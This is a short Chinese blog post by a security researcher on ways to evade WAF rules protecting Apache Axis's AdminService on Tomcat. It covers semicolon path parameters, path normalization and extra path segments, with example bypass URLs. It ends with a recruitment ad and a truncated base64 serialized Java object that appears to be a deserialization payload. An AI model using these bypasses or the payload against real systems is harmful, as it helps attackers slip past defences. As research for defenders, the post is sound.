最近在某次攻防演练中中遇到了Axis漏洞,简单记录一下原因。
Axis的poc的url类似如下
很多规则维护人员的规则,可能直接匹配/servlet/AdminServlet
,可这样能防御绕过嘛?今天来分析下
在web.xml 中,url以services起始,都交给AxisServlet去处理。相关代码如下
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
由于本文不是分析文章,而是研究绕过手段。根据分析文章可知,AxisServlet最终会调用AdminService。主要代码在这里axis会调用req.getPathInfo
获取请求的实际URL相对于请求的serlvet的url的路径。也就是说 poc的url为/axis_exp_demo_war_exploded/services/AdminService
,那么req.getPathInfo
返回AdminService。Axis 通过这个信息,去查找最终处理的方法,也就是org.apache.axis.utils.Admin
既然这样,讨论下几种可能的绕过姿势
这里只谈论tomcat,其他Java的中间件自行研究。用户在输入url中到应用程序通过request对象接收的url,tomcat会忽略掉某些字符。典型例子 Shiro的权限绕过。tomcat中,关于处理url的代码,在这里org/apache/catalina/connector/CoyoteAdapter.class
首先经过parsePathParameters
处理,再经过normalize
处理
看代码,主要是查找分号和斜杠,并删除分号和斜杠中间的字符。例如,/aaa/;...sddd/index.php
经过这个函数的处理,会删除;...sddd。处理前处理后
基于这个特性,可以构造出很多绕过姿势。并且,在最近某次演练中,就是抓到此类poc。
normalize
这个函数比较简单,且文档中已经说明用途,不做具体分析
This method normalizes "", "//", "/./" and "/../".
前面我们分析了,Axis组件中,开头为Services
的url会交给AxisServlet处理。但是在AxisServlet中,却又要url的路径的最后一部分,也就是AdminService
。除此之外,这中间的任何字符都不会影响到漏洞的利用。POST /axis_exp_demo_war_exploded/services/chiieibe/AdminService
基于这个特性,同样也可以绕过很多安全设备。
我司(启明星辰)检测本部 我所在的小组,招聘面向实战的安全研究人员。要求:
联系方式在下面,期待你的简历
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXB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